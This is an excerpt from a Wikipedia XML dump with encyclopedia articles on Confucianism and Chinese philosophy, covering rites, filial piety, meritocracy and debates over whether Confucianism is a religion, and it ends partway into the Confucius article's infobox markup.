After the Qin, the new [[Han Dynasty]] approved of Confucian doctrine and sponsored Confucian scholars, eventually making Confucianism the official state philosophy (see [[Han Wu Di|Emperor Wu of Han]]). Study of the Confucian classics became the basis of the government examination system and the core of the educational curriculum. [[Temple of Confucius|Temples of Confucius]] were established throughout the land to propagate the state cult of Confucius. No serious attempt to replace Confucianism arose until the [[May 4th Movement]] in the [[20th century]], although there were Emperors who gave increased favor to [[Taoism|Daoism]] or [[Buddhism]].

Beginning in the [[Tang Dynasty]], but especially during the [[Song Dynasty]], the [[Neo-Confucianism|Neo-Confucians]] sought to bring renewed vigor to Confucianism. [[Zhu Xi]], [[Wang Yangming]] and the other Neo-Confucians gave Confucianism a more thorough system of [[metaphysics]] and distilled a more clearly codified value structure from the ideas of Confucius and his early disciples.   

After its reformulation as Neo-Confucianism, both Korea and Japan adopted Confucianism as their state philosophies. Korea during the [[Yi Dynasty]] has been described as a &quot;Confucian state.&quot; [http://www.britannica.com/eb/article-35013] 

In the 1960s, Confucianism was attacked during the [[Cultural Revolution]] in the [[People's Republic of China]]. It was seen as the crux of the old feudal system and an obstacle to China's modernization. It is, however, arguable that Confucianism influenced Chinese society even during the Cultural Revolution, and its influence is still strong in modern-day [[mainland China]]. Both interest in and debate about Confucianism have surged.

In the modern world, there are many signs of Confucianism's influence. Many sources, including the Baltimore Sun (U.S.), have called [[Singapore]] the modern world's &quot;only Confucian state.&quot;  However, it is doubtful that Singapore is truly a thoroughgoing Confucian state because Singapore is a multicultural society in which only a portion of the society is committed specifically to Confucian ideals.  The actual influence of Confucianism on [[South Korea]], however, is still very great. [http://groups.yahoo.com/group/Sg_Review/message/435] The [[Asian values|Asian values debate]] of the [[1990s]] stems in large part from the question of the role of Confucian social approaches in modern societies, especially [[economic development]].

Modern movements such as [[New Confucianism]] seek to find new inspiration from the thought system of Confucius and his followers.

==Core Concepts==
===Rites===
&lt;blockquote&gt;Lead the people with administrative injunctions and put them in their place with penal law, and they will avoid punishments but will be without a sense of shame. Lead them with excellence and put them in their place through roles and ritual practices, and in addition to developing a sense of shame, they will order themselves harmoniously.
(''Analects'' II, 3)
&lt;/blockquote&gt;
The above explains an essential difference between legalism and ritualism and points to a key difference between Western and Eastern societies. Confucius argues that under law, ''external'' authorities administer punishments ''after'' illegal actions, so people generally behave well without understanding reasons why they should; whereas with ritual, patterns of behaviour are ''internalised'' and exert their influence ''before'' actions are taken, so people behave properly because they fear shame and want to avoid losing [[Face (social custom)|face]].

&quot;Rite&quot; (&amp;#31150;; L&amp;#464;) stands here for a complex set of ideas that is difficult to render in Western languages. The Chinese character for &quot;rites&quot; previously had the religious meaning of &quot;sacrifice&quot; (the character &amp;#31150; is composed of the character &amp;#31034;, which means &quot;altar&quot;, to the left of the character &amp;#26354; placed over &amp;#35910;, representing a vase full of flowers and offered as a sacrifice to the gods; cf. [[Wenlin]]). Its Confucian meaning ranges from politeness and propriety to the understanding of everybody's correct place in society. Externally, ritual is used to distinguish between people; their usage allows people to know at all times who is the younger and who the elder, who is the guest and who the host and so forth. Internally, they indicate to people their duty amongst others and what to expect from them.

Internalisation is the main process in ritual. Formalised behaviour becomes progressively internalised, desires are channelled and personal cultivation becomes the mark of social correctness. Though this idea conflicts with the common saying that &quot;the cowl does not make the monk&quot;, in Confucianism sincerity is what enables behaviour to be absorbed by individuals. Obeying ritual with sincerity makes ritual the most powerful way to cultivate oneself. Thus &quot;Respectfulness, without the Rites, becomes laborious bustle; carefulness, without the Rites, becomes timidity; boldness, without the Rites, becomes insubordination; straightforwardness, without the Rites, becomes rudeness&quot; (''Analects'' VIII, 2). Ritual can be seen as a means to find the balance between opposing qualities that might otherwise lead to conflict.

Ritual divides people into categories and builds [[hierarchical]] relationships through protocols and ceremonies, assigning everyone a place in society and a form of behaviour. [[Music]], which seems to have played a significant role in Confucius' life, is given as an exception as it transcends such boundaries, 'unifying the hearts'.

Although the ''Analects'' promotes ritual heavily, Confucius himself often behaved otherwise; for example, when he cried at his preferred disciple' death, or when he met a fiendish princess (VI, 28). Later more rigid ritualists who forgot that ritual is &quot;more than presents of jade and silk&quot; (XVII, 12) strayed from their master's position.

===Relationships===
One theme central to Confucianism is that of relationships, and the differing duties arising from the different status one held in relation to others. Individuals are held to simultaneously stand in different degrees of relationship with different people, namely, as a junior in relation to their parents and elders, and as a senior in relation to their children, younger siblings, students, and others. While juniors are considered in Confucianism to owe strong duties of reverence and service to their seniors, seniors also have duties of benevolence and concern toward juniors. This theme consistently manifests itself in many aspects of East Asian culture even to this day, with extensive filial duties on the part of children toward parents and elders, and great concern of parents toward their children. 

====Filial piety ====
''Filial piety'', ''filiality'', or ''filial devotion'' (''xiào'', &amp;#23389;) is considered among the greatest of virtues and must be shown towards both the living and the dead. The term &quot;filial&quot;, meaning &quot;of a child&quot;, denotes the respect and obedience that a child, originally a son, should show to his parents, especially to his father. This relationship was extended by analogy to a series of ''five relationships'' or ''five cardinal relationships'' (五伦 ''Wǔlún''): 
#father and son (父子), 
#ruler and subject (君臣), 
#husband and wife (夫婦), 
#elder and younger brother (兄弟), 
#between friends (朋友)
Specific duties were prescribed to each of the participants in these sets of relationships. Such duties were also extended to the dead, where the living stood as sons to their deceased family. This led to the [[ancestor worship|veneration of ancestors]].

In time, filial piety was also built into the Chinese legal system: a criminal would be punished more harshly if the culprit had committed the crime against a parent, while fathers exercised enormous power over their children. Much the same was true of other unequal relationships.

The main source of our knowledge of the importance of filial piety is ''The Book of Filial Piety'', a work attributed to Confucius but almost certainly written in the [[third century BC]]. Filial piety has continued to play a central role in Confucian thinking to the present day.

====Loyalty ==== 
Loyal (''zh&amp;#333;ng'', &amp;#24544;) is the equivalent of filial piety on a different plane, between ruler and minister. It was particularly relevant for the social class to which most of Confucius' students belonged, because the only way for an ambitious young scholar to make his way in the Confucian Chinese world was to enter a ruler's civil service. Like filial piety, however, loyalty was often subverted by the autocratic regimes of China. Confucius had advocated a sensitivity to the [[realpolitik]] of the class relations that existed in his time; he did not propose that &quot;might makes right&quot;, but that a superior who had received the &quot;[[Mandate of Heaven]]&quot; (see below) should be obeyed because of his moral rectitude. 

In later ages, however, emphasis was placed more on the obligations of the ruled to the ruler, and less on the ruler's obligations to the ruled.

===Humaneness === 
Confucius was concerned with people's individual development, which he maintained took place within the context of human relationships. Ritual and filial piety are the ways in which one should act towards others from an underlying attitude of humaneness. Confucius' concept of humaneness (''rén'', &amp;#20161;) is probably best expressed in the Confucian version of the [[Ethic of reciprocity|Golden Rule]] phrased in the negative: &quot;Do not do to others what you would not like them to do to you&quot;.

''Rén'' also has a political dimension. If the ruler lacks ''rén'', Confucianism holds, it will be difficult if not impossible for his subjects to behave humanely. ''Rén'' is the basis of Confucian political theory: it presupposes an autocratic ruler, exhorted to refrain from acting inhumanely towards his subjects. An inhumane ruler runs the risk of losing the &quot;Mandate of Heaven&quot;, the right to rule. Such a mandateless ruler need not be obeyed. But a ruler who reigns humanely and takes care of the people is to be obeyed strictly, for the benevolence of his dominion shows that he has been mandated by heaven. Confucius himself had little to say on the will of the people, but his leading follower [[Mencius]] did state on one occasion that the people's opinion on certain weighty matters should be polled.

===The perfect gentleman=== 
The term &quot;J&amp;#363;nz&amp;#464;&quot; (&amp;#21531;&amp;#23376;) is a term crucial to classical Confucianism.  Literally meaning &quot;son of a ruler&quot;, &quot;prince&quot;, or &quot;noble&quot;, the ideal of a &quot;gentleman,&quot; &quot;proper man,&quot; or &quot;perfect man&quot; is that for which Confucianism exhorts all people to strive. A succinct description of the &quot;perfect man&quot; is one who &quot;combine[s] the qualities of saint, scholar, and gentleman&quot; ([[Catholic Encyclopedia|CE]]). (In modern times, the masculine bias in Confucianism may have weakened, but the same term is still used; the masculine translation in English is also traditional and still frequently used.) A hereditary elitism was bound up with the concept, and gentlemen were expected to act as moral guides to the rest of society. They were to:
* cultivate themselves morally; 
* participate in the correct performance of ritual;
* show filial piety and loyalty where these are due; and 
* cultivate humaneness. 
The great example of the perfect gentleman is Confucius himself. Perhaps the greatest tragedy of his life was that he was never awarded the high official position which he desired, from which he wished to demonstrate the general well-being that would ensue if humane persons ruled and administered the state.  

The opposite of the ''J&amp;#363;nz&amp;#464;'' was the ''Xi&amp;#462;orén'' (&amp;#23567;&amp;#20154;), literally &quot;small person&quot; or &quot;petty person.&quot; Like English &quot;small&quot;, the word in this context in Chinese can mean petty in mind and heart, narrowly self-interested, greedy, superficial, and materialistic.

===Governing===
&lt;blockquote&gt;
&quot;To govern by virtue, let us compare it to the North Star: it stays in its place, while the myriad stars wait upon it.&quot;
(''Analects'' II, 1)
&lt;/blockquote&gt;
Another key Confucian concept is that in order to govern others one must first govern oneself. When developed sufficiently, the king's personal virtue spreads beneficent influence throughout the kingdom. This idea is developed further in the [[Great Learning]] and is tightly linked with the [[Taoism|Taoist]] concept of [[wu wei]]: the less the king does, the more that is done. By being the &quot;calm centre&quot; around which the kingdom turns, the king allows everything to function smoothly and avoids having to tamper with the individual parts of the whole. 

This idea may be traced back to early shamanistic beliefs, such as that of the king (''wang'', &amp;#29579;) being the axle between the sky, human beings and the Earth. (The character itself shows the three levels of the universe, united by a single line.) &lt;!-- Sitting at the right place on the throne, facing south, and once a year at the right time, promulgating the new calendar, was, in short, the way to shine forth its might all over the world.--&gt; Another complementary view is that this idea may have been used by ministers and counsellors to deter aristocratic whims that would otherwise be to the detriment of the population.

=== Meritocracy ===
&lt;blockquote&gt;
&quot;In teaching, there should be no distinction of classes.&quot;&lt;/br&gt;
(''Analects'' XV, 39)
&lt;/blockquote&gt;
Although Confucius claimed that he never invented anything but was only transmitting ancient knowledge (see ''Analects'' VII, 1), he did produce a number of new ideas. Many [[Western world|western]] admirers such as [[Voltaire]] and [[H.G. Creel]] point to the (then) revolutionary idea of replacing the nobility of blood with one of virtue. J&amp;#363;nz&amp;#464; (&amp;#21531;&amp;#23376;), which had meant &quot;noble man&quot; before Confucius' work, slowly assumed a new connotation in the course of his writings, rather as &quot;[[gentleman]]&quot; did in [[English language|English]]. A virtuous plebeian who cultivates his qualities can be a &quot;gentleman&quot;, while a shameless son of the king is only a &quot;small man&quot;. That he allowed students of different classes to be his disciples is a clear demonstration that he fought against the feudal structures in Chinese society.

Another new idea, that of [[meritocracy]], led to the introduction of the [[Imperial examination]] system in China. This system allowed anyone who passed an examination to become a government officer, a position which would bring wealth and honour to the whole family. Though the European enthusiasm toward China died away after [[1789]], China gave Europe one very important practical legacy: the modern civil service. The Chinese examination system seems to have been started in [[165 BC]], when certain candidates for public office were called to the Chinese capital for examination of their moral excellence by the emperor. Over the following centuries the system grew until finally almost anyone who wished to become an official had to prove his worth by passing written government examinations.&lt;!--Is there a source for this claim? It is noticeable that the Western university system, which is now copied in China, was partly built with regard to China's system of governmental election.--&gt;

Confucius praised those kings &lt;!-- check which ones --&gt; who left their kingdoms to those apparently most qualified rather than to their elder sons. His achievement was the setting up of a school that produced statemen with a strong sense of state and duty, known as Rujia 儒家, the 'School of the Literati'. During the [[Warring States Period]] and the early [[Han dynasty]] China grew greatly and the need for a solid and centralized corporation of government officers able to read and write administrative papers arose. As a result Confucianism was promoted and the corporation of men it produced became an effective counter to the remaining landowner aristocrats otherwise threatening the unity of the state. 

Since then Confucianism has been used as a kind of &quot;state religion&quot;, with authoritarianism, legitimism&lt;!--Is this a word?  Answer: Yes it is a word.  Definition of legitamist: &quot;One that believes in or advocates rule by hereditary right.&quot;--&gt;, paternalism and submission to authority used as political tools to rule China. In fact most emperors used a mix of legalism and Confucianism as their ruling doctrine, often with the latter embellishing the former. They also often used different varieties of Taoism or Buddhism as their personal philosophy or religion. As with many revered men, Confucius himself would probably have disapproved of much that has been done in his name: the use of ritual is only part of his teachings.

==Debates==
===Does Confucianism promote corruption?=== 
Different from many other political philosophies, Confucianism is reluctant to employ laws. In a society where relationships are considered more important than the laws themselves, if no other power forces government officers to take the common interest into consideration, [[political corruption|corruption]] and [[nepotism]] will arise. As government officers' salary was often far lower than the minimum required to raise a family, Chinese society has frequently been affected by those problems, and still is. Even if some means to control and reduce corruption and nepotism have been successfully used in China, Confucianism is criticized for not providing such a means itself.  

One major argument against this criticism is that the so-called Confucian East Asian societies such as [[Hong Kong]], [[Taiwan]], [[Japan]], [[Singapore]], [[South Korea]], and China have exhibited the most extraordinary growth rates in economic history. Singapore has also consistently been noted as one of the most corruption-free states on earth. If Confucianism promotes corruption, how can such rapid growth be possible? Critics point to continuing problems with nepotism and corruption in those countries and slowing economic growth in the past decade, not only in Japan, but also, to a lesser extent, in the others. Furthermore, Singapore may be classed as an example of a Western, [[Kant|Kantian]] system of rule by law, or perhaps a [[Legalism|Legalist]] system, rather than Confucian.

===Was there a Confucianism?===
One of the many problems in discussing the history of Confucianism is the question of what Confucianism is. In this article, Confucianism can be understood roughly as largely &quot;the stream of individuals, claiming Master Kong to be the Greatest Master&quot; while it also means &quot;the social group following moral, political, and philosophical doctrine of what was considered, at a given time, as the orthodox understanding of Confucius&quot;. In this meaning, this &quot;group&quot; can be identified, during periods of discussions with others doctrines, like [[Han dynasty|Han]] and [[Tang dynasty]], with a kind of political party. During periods of Confucian hegemony, such as during the [[Song dynasty|Song]], [[Ming dynasty|Ming]] and [[Qing dynasty|Qing]] dynasties, it can be identified roughly with the social class of government officials.

But the reality of such a grouping is debated. In his book, ''Manufacturing Confucianism'', Lionel Jensen claims that our modern image of Confucius and Confucianism, which is that of a wise symbol of learning and a state-sponsored quasi-religion, did not exist in China from time immemorial, but was manufactured by European Jesuits, as a &quot;translation&quot; of the ancient indigenous traditions, known as &quot;Ru Jia&quot;, in order to portray Chinese society to Europeans.  The notion of Confucianism was then borrowed back by the Chinese, who used it for their own purposes. &lt;!-- which ones ? --&gt;

Therefore, we could define Confucianism as &quot;any system of thinking that has, at its foundations, the works that are regarded as the '[[Chinese classic texts|Confucian classics]]', which was the corpus used in the Imperial examination system&quot;. Even this definition runs into problems because this corpus was subject to changes and additions. Neo-Confucianism, for instance, valorized the [[Great Learning]] and the [[Zhong Yong]] in this corpus, because their themes are close to those of [[Taoism]] and [[Buddhism]].

===The Script controversy===
The origin of this problem lies with the attempt of the First Emperor, [[Qin Shi Huang]], to burn all of the books. After the [[Qin dynasty]] was overthrown by the [[Han Dynasty|Han]], there was the monumental task of recreating all of the knowledge that was destroyed.  The method undertaken was to find all of the remaining scholars and have them reconstruct, from memory, the texts that were lost. This produced the &quot;New Script&quot; texts.  Afterwards, people began finding fragments of books that had escaped the burning.  Piecing those together produced the &quot;Old Script&quot; texts.  One problem that has plagued Confucianism, through the ages, is the question of which set of texts is the more authentic; the &quot;Old Script&quot; texts tend to have greater acceptance. In actuality, the verification and comparison for authenticity between the 'old scripts' and 'new scripts' text has remained the works of Confucian scholars for 2000 years up to the twentieth century. Their work also involved interpretation and derivation of meanings from the text under a field of study was known as ''Jingxue'' 經學 (&quot;the study of classics&quot;).

===Is Confucianism a religion?===
It is debatable whether Confucianism should be called a [[religion]]. While it prescribes a great deal of ritual, little of it could be construed as worship or meditation in a formal sense. Confucius occasionally made statements about the existence of other-worldly beings that sound distinctly [[agnostic]] and [[humanistic]] to Western ears. For example, he stated &quot;Show respect to the ghosts and spirits, but keep them at a distance&quot; (''Analects'', VI 19). He also said, when asked by an impetuous disciple how to serve ghosts and spirits, &quot;Till you have learnt to serve men, how can you serve ghosts?&quot; The disciple (Zilu) then asked about the dead. The Master said, &quot;Till you know about the living, how are you to know about the dead?&quot; (''Analects'' XI. 11. tr. [[Arthur Waley|Waley]]) Thus, Confucianism is often considered an [[ethical tradition]] and not a [[religion]].

Its effect on Chinese and other East Asian societies and cultures has been immense and parallels the effects of religious movements, seen in other cultures. Those who follow the teachings of Confucius are comforted by it; it makes their lives more complete and their sufferings bearable. It includes a great deal of ritual and (in its [[Neo-Confucianism|Neo-Confucian]] formulation) gives a comprehensive explanation of the world, of human nature, etc. Moreover, religions in Chinese culture are not mutually exclusive entities — each tradition is free to find its specific niche, its field of specialisation. One can be a [[Taoism|Taoist]], [[Christianity|Christian]], [[Islam|Muslim]], [[Shinto|Shintoist]] or [[Buddhism|Buddhist]] and still profess Confucianist beliefs.

Although Confucianism may include ancestor worship, sacrifice to ancestral spirits and an abstract celestial deity, and the deification of ancient kings and even Confucius himself, all these features can be traced back to non-Confucian Chinese beliefs established long before Confucius and, in this respect, make it difficult to claim that such rituals make Confucianism a religion. 

Generally speaking, Confucianism is not considered a religion by Chinese or other East Asian people. Part of this attitude may be explained by the stigma placed on many &quot;religions&quot; as being superstitious, illogical, or unable to deal with modernity. Many Buddhists state that Buddhism is not a religion, but a philosophy, and this is partially a reaction to negative popular views of religion. Similarly, Confucians maintain that Confucianism is not a religion, but rather a moral code or philosophic world view. 

The question of whether Confucianism is a religion, or otherwise, is ultimately a definitional problem. If the definition used is worship of supernatural entities, the answer may be that Confucianism is not a religion, but then this definition could also be used to argue that many traditions commonly held to be religious ([[Buddhism]], some forms of [[Islam]], etc.) are also not, in fact, religions. If, on the other hand, a religion is defined as (for example) a belief system that includes moral stances, guides for daily life, systematic views of humanity and its place in the universe, etc., then Confucianism most definitely qualifies. As with many such important concepts, the definition of religion is quite contentious. Herbert Fingarette's ''Confucius: The Secular as Sacred'' is a good treatment of this issue.

==Names for Confucianism==
Several names for Confucianism exist in [[Chinese language|Chinese]]. 
*&quot;School of the Scholars&quot;  ([[pinyin]] ''Rújiā'')
**儒家 ([[Traditional Chinese|Traditional]] and [[Simplified Chinese|Simplified]] Chinese)
*&quot;Teaching of the Scholars&quot; ([[pinyin]]: ''Rujiao'')
**儒教 ([[Traditional Chinese|Traditional]] and [[Simplified Chinese|Simplified]])
*&quot;Scholarly study&quot; or &quot;Scholar studies&quot;  ([[pinyin]]: ''Ruxue'')
**儒學 ([[Traditional Chinese|Traditional]])
**儒学 ([[Simplified Chinese|Simplified]])
*&quot;Teaching of Confucius&quot; or &quot;Religion of Confucius&quot; ([[pinyin]]: ''Kongjiao'')
** 孔教 ([[Traditional Chinese|Traditional]] and [[Simplified Chinese|Simplified]])

Three of these four (i.e. ''Rujia'', ''Rujiao'', ''Ruxue'') use the Chinese word ''Ru'', a key Confucian term meaning &quot;scholar,&quot; a person who pursues the Confucian ideal of study and self-refinement, often a [[scholar-official]]. These names do not directly use the name &quot;Confucius&quot; (''Kong Zi'') at all, but instead center on the central figure/ideal of the Confucian scholar. 
''Rujia'', in addition to &quot;School of the Scholars&quot; also literally means &quot;Scholar house&quot; or &quot;Scholar family.&quot; 

''Rujiao'' and ''Kongjiao'' contain the Chinese term ''jiao'', the noun &quot;teaching&quot;, used in such as terms as &quot;education&quot; or &quot;educator&quot;, but also, notably, the term most frequently used for constructing the names of [[religion]]s in Chinese. The Chinese terms for many religions all end with ''jiao'': ''Fojiao'' (&quot;The Teaching of the Buddha&quot;, i.e., Buddhism), ''Jidujiao'' (&quot;The Teaching of Christ&quot;, i.e., Christiantity), ''Youtaijiao'' (&quot;The Teaching of  [[Judah]] or [[Yehuda]]&quot;, i.e., Judaism), etc.  ''Ruxue'' contains ''xue'', meaning literally &quot;study&quot; or &quot;studies&quot;, but parallel to the suffix &quot;-ology&quot; or &quot;-ics&quot;, used in the Chinese term for most sciences and academic fields (e.g. ''Huaxue'' 化学, &quot;chemistry&quot;; ''xinlixue'' 心理学, &quot;psychology&quot;).

The different names for Confucianism are often used interchangeably, especially in popular culture, though they do have different connotations. For example, many Confucians object strongly to calling Confucianism ''Rujiao'', because this implies, in their view, that it is a superstitious religion rather than a logical philosophy.  See discussion of [[Confucianism#Is Confucianism a religion.3F|whether or not Confucianism is a religion]].

==See also==
{{wikiquotepar|Confucius}}
* [[List of Confucianists]]
* [[Traditional Chinese religion]]
* [[Eastern philosophy]]
* [[Junzi]]
* [[Confucianism and other schools of thought]]

==External links==
===Translations===
*[http://www.comparative-religion.com/confucianism/ Confucianism and Confucian texts]
*[http://afpc.asso.fr/wengu/wg/wengu.php?l=Lunyu The Analects of Confucius] in Chinese with English translations of [[James Legge]] and [[D.C. Lau]]

===Articles and books===
* Creel, Herrlee G.  ''Confucius and the Chinese Way.''  Reprint.  New York:  Harper Torchbooks.  (Originally published under the title ''Confucius -- the Man and the Myth.'')
* Fingarette, Herbert. ''[http://www.amazon.com/exec/obidos/tg/detail/-/1577660102/103-3648291-0906232?v=glance Confucius: The Secular as Sacred]''. ISBN 1577660102.
* Ivanhoe, Philip J.  ''Confucian Moral Self Cultivation.''  2nd rev. ed., Indianapolis:  Hackett Publishing.
* Nivison, David S. ''The Ways of Confucianism.''  Chicago:  Open Court Press.

[[Category:Confucianism| ]]
[[Category:Secularism]]
[[Category:Chinese traditional religion]]
[[Category:Social philosophy]]
[[Category:Political philosophy]]

{{Link FA|vi}}

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[[zh:儒家]]</text>
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  <page>
    <title>Chinese philosophy</title>
    <id>5822</id>
    <revision>
      <id>37957713</id>
      <timestamp>2006-02-03T04:58:24Z</timestamp>
      <contributor>
        <username>Korg</username>
        <id>263660</id>
      </contributor>
      <minor />
      <comment>Reverted edits by [[Special:Contributions/70.104.241.41|70.104.241.41]] to last version by 88.108.166.97</comment>
      <text xml:space="preserve">[[Image:yin-yang-and-bagua-near-nanning.jpg|thumb|300px|Yin/Yang symbol and 'ba gua' paved in a clearing outside of Nanning city, Guangxi province.]]
'''[[China|Chinese]] [[philosophy]]''' has a history of several thousand years. Its origins are often traced back to the [[I Ching|Yi Jing]] (the ''Book of Changes''), an ancient compendium of [[divination]], which introduced some of the most fundamental terms of Chinese philosophy. Its age can only be estimated, but it certainly draws from an oracular tradition that goes back to [[neolithic]] times.

== Brief history ==

Early [[Shang Dynasty|Shang]] thought was based upon a cyclic notion of time, corresponding to the seasons. This notion, which remained relevant throughout Chinese history, represents a fundamental distinction from [[western philosophy]], in which the dominant view of time is a linear progression. During the Shang, [[fate]] could be manipulated by the great deity [[Shang Di]] ([[Chinese language|ch.]] &amp;#19978;&amp;#24093;; [[pinyin|py]] shàngdì), most frequently translated as &quot;Lord on High&quot;. [[Ancestor worship]] was also present, as was human and animal sacrifice.

When the Shang were overthrown by the [[Zhou Dynasty|Zhou]], a new political, religious and philosophical concept was introduced called the &quot;[[Mandate of Heaven]]&quot;. This mandate was said to be taken when rulers became unworthy of their position, and provided a shrewd justification for Zhou rule. During this period, archaeological evidence points to an increase in literacy and a partial shift away from the faith placed in Shang Di, with ancestor worship becoming commonplace and a more worldly orientation coming to the fore.

In around [[500 BC]], after the Zhou state weakened and China moved in to the [[Spring and Autumn Period]], the classic period of Chinese philosophy began (it is an interesting fact that this date nearly coincides with the emergence of the first [[Greek philosophers]]). This is known as the [[Hundred Schools of Thought]] (&amp;#30334;&amp;#23478;, b&amp;#462;iji&amp;#257;). Of the many schools founded at this time and during the subsequent [[Warring States Period]], the four most influential ones were [[Confucianism]], [[Taoism|Daoism]] (often spelled &quot;Taoism&quot;), [[Mohism]] and [[Legalism (philosophy)|Legalism]]. The short founder [[Qin Dynasty]], where Legalism was the official philosophy, [[To burn the classics and to bury the scholars|quashed Mohist and Confucianist schools]]. Legalism remained influential until the emperors of the [[Han Dynasty]] adopted Daoism and later Confucianism as official doctrine. These latter two became the determining forces of Chinese thought until the 20th century, with the introduction [[Buddhist philosophy]] (mostly during [[Tang Dynasty]]) negotiated largely through perceived similarities with Daoism. 

The respective influences of Daoism and Confucianism are often described this way: &quot;Chinese are Confucianist during the day, while they are Daoists at night&quot;. Moreover, many Chinese [[mandarin (bureaucrat)|mandarins]] were government officials in the daily life ''and'' poets (or painters) in their spare time.

When the [[Communist Party of China|Communist Party]] took over power, previous schools of thought, excepting notably Legalism, were denounced as backward, but their influence on Chinese thought remains.

== Great philosophical figures ==
* [[Confucius]], seen as the Great Master but sometimes ridiculed by Taoists.
** [[Mencius]], Confucius' follower having idealist inspiration.
** [[Xun Zi]], another Confucius' follower, closer to realism.
** [[Zhu Xi]], founder of [[Neo-Confucianism]]
** [[Wang Yangming]], most influential proponent of ''xinxue'' or &quot;school of mind.&quot;
* [[Lao Zi]], the chief of Taoist school.
** [[Zhuang Zi]], said to be the author of the ''Zhuangzi''.
** [[Lie Zi]], said to be the author of the [[True Classic of Perfect Emptiness]].
* [[Mozi]], the founder of Mohist school.
* [[Han Fei]], one of the theoreticians of Legalism
* [[Lin-chi]], a great Buddhist [[Ch'an]] thinker and teacher, essentially shaped what would become one of the largest schools of [[Buddhism]] ([[Rinzai school]] of [[Zen]])

== Concepts within Chinese philosophy ==

Although the individual philosophical schools differ considerably, they nevertheless share a common vocabulary and set of concerns.

Among the terms commonly found in Chinese philosophy are:

*[[Tao]] (the Way, or one's doctrine)
*De (virtue, power) 
*Li (principle)
*[[Qi]] (vital energy or material force)
*The ''[[Tai Ji]]'' (''Great Heavenly Axis'') forms a unity, from which two antagonistic concepts, ''[[Yin]]'' and ''[[Yang]]'' originate. The word ''Yin'' originally referred to a hillside facing away from the sun. Philosophically, it stands the gloomy, passive, female concept, whereas ''Yang'' (the hillside facing the sun) stands for the bright, active, male concept. Both concepts, though antagonistic, are also complementary and the present domination of one implies the future rise of the other, as moon's phases (this is one of the meanings of the well-known Yin-Yang figures).

Among the great controversies of Chinese philosophies are:
* The relation between matter and principle
* The method of discovering truth
* Human nature

Among the commonalties of Chinese philosophies are:
* Epistemological optimism.  The belief that the big questions can be answered even if the answers are not currently known.
* The tendency not to view man as separate from nature. 
* The tendency not to invoke a unified and personified supernatural power.  Questions about the nature and existence of [[God]] which have profoundly influenced Western philosophy have not been important in Chinese philosophies.
* The belief that the purpose of philosophy is primarily to serve as an ethical and practical guide.
* The political focus: most scholars of the Hundred Schools were trying to convince the ruler to behave in the way they defended.

== Further reading ==
* ''A History of Chinese Philosophy'' (Princeton Paperbacks), [[Fung You-lan]], tr. [[Derk Bodde]], 1983.
* ''Disputers of the Tao; Philosophical Argument in Ancient China'', [[A. C. Graham]], 1989.
* ''Three Ways of Thought in Ancient China'', [[Arthur Waley]], 1983.
* ''Chinese Thought, from Confucius to Mao Zedong'', [[Herrlee Glessner Creel]], 1971.
* ''The Importance of Living'', [[Lin Yutang]], 1996.

== See also == 
*[[Qi]]
*[[Qigong]]
*[[Tao]]
*[[Taoism]]
*[[Yin]]
*[[Yang]]
*[[Five Elements]]
*[[Chinese classic texts]]
*[[Eastern philosophy]]
*[[philosopher]]
*[[Chinese history]]
*[[:Category:Chinese philosophers|Chinese philosophers]]
*[[Religion in China]]
*[[List of publications in philosophy#Chinese philosophy|Notable publications in Chinese philosophy]]
*[[Chuang Chou]]


== External links ==
* [http://www.chinaknowledge.de/History/Zhou/zhou-literature.html The Hundred Schools of Thought] in http://www.chinaknowledge.de
* [http://dmoz.org/Society/Philosophy/Eastern_Philosophy/ dmoz' Eastern Philosophy directory]
* [http://main.chinesephilosophy.net/ Chinese Philosophical Etext Archive]
* [http://plato.stanford.edu/entries/comparphil-chiwes/ Stanford Encyclopedia of Philosophy entry on Chinese-Western Comparative Philosophy]

[[Category:Chinese thought]]

[[fr:Philosophie chinoise]]
[[he:פילוסופיה סינית]]
[[pl:Filozofia chińska]]
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[[sv:Kinesisk filosofi]]</text>
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    <title>Confucius</title>
    <id>5823</id>
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{| cellpadding=3px cellspacing=0px bgcolor=#f7f8ff style=&quot;float:right; border:2px solid; margin-left: 1em&quot;
|colspan=2 align=center style=&quot;margin: 10px; border-top:2px solid&quot;|[[Image: Confucius_02.gif|center|Engraving of Confucius]]
|-
!style=&quot;background:#ccf; border-bottom:2px solid&quot; align=center colspan=2|Confucius
|-
|align=center style=&quot;border-top:1px solid&quot;|[[Chinese family name|Ancestral name]]:&lt;br&gt;(姓)||style=&quot;border-top:1px solid&quot;|'''Zi'''&amp;sup1; (子)&lt;br&gt;&lt;small&gt;([[Pinyin]]: Zǐ)
|-
|align=center style=&quot;border-top:1px solid&quot;|[[Chinese family name|Clan name]]:&lt;br&gt;(&amp;#27663;)||style=&quot;border-top:1px solid&quot;|'''Kong''' (&amp;#23380;)&lt;br&gt;&lt;small&gt;(Pinyin: K&amp;#466;ng)
|-
|align=center style=&quot;border-top:1px solid&quot;|[[Chinese given name|Given name]]:&lt;br&gt;(&amp;#21517;)||style=&quot;border-top:1px solid&quot;|'''Qiu''' (&amp;#19992;)&lt;br&gt;&lt;small&gt;(Pinyin: Qi&amp;#363;)
|-
|align=center style=&quot;border-top:3px solid&quot;|[[Chinese courtesy name|Courtesy name]]:&lt;br&gt;(&amp;#23383;)||style=&quot;border-top:3px solid&quot;|'''Zhongni''' (&amp;#20210;&amp;#23612;)&lt;br&gt;&lt;small&gt;(Pinyin: Zhòngní)&lt;/small&gt;
|-
|align=center style=&quot;border-top:1px solid&quot;|[[Posthumous name|Posthumous name]]:&lt;br&gt;(&amp;#35610;)||style=&quot;border-top:1px solid&quot;|'''The Ultimate Sage &lt;br&gt;Master of Yore&amp;sup2;''' 
|-
|align=right| ||&lt;small&gt;(Ch: &lt;/small&gt;&amp;#33267;&amp;#32854;&amp;#20808;&amp;#24107;&lt;small&gt; ;&lt;br&gt;Py: Zhìshèng Xi&amp;#257;nsh&amp;#299;)
|-
|align=center style=&quot;border-top:1px solid&quot;|[[Style (manner of address)|Styled]]:||style=&quot;border-top:1px solid&quot;|'''Master Kong'''&amp;sup3;
|-
|align=right| ||&lt;small&gt;(Ch: &lt;/small&gt;&amp;#23380;&amp;#23376;&lt;small&gt;, &lt;br&gt;less frequently &lt;/small&gt;&amp;#23380;&amp;#22827;&amp;#23376;&lt;small&gt;;
|-
|align=right| ||&lt;small&gt;Py: K&amp;#466;ngz&amp;#464;, less fr. &lt;br&gt;K&amp;#466;ngf&amp;#363;z&amp;#464;;
|-
|align=right| ||&lt;small&gt;[[Wade-Giles|WG]]: K'ung-tzu, less fr.&lt;br&gt; K'ung Fu-tzu)&lt;/small&gt;
|-
